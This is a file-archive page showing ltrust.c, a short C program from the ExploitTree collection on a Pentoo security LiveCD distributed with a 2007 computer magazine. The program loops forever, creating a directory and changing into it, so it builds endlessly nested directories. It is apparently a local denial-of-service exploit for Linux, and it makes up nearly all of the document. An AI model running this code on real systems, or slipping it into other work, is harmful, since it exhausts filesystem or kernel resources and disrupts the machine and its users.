home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Chip 2007 January, February, March & April
/
Chip-Cover-CD-2007-02.iso
/
Pakiet bezpieczenstwa
/
mini Pentoo LiveCD 2006.1
/
mpentoo-2006.1.iso
/
livecd.squashfs
/
opt
/
pentoo
/
ExploitTree
/
system
/
linux
/
local
/
ltrust.c
< prev
next >
Wrap
C/C++ Source or Header
|
2005-02-12
|
269b
|
23 lines
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
int main(void)
{
while(1) {
if(mkdir("aaaa",0777)<0) {
perror("mkdir");
exit(1);
}
if(chdir("aaaa")<0) {
perror("chdir");
exit(1);
}
}
return(0);
}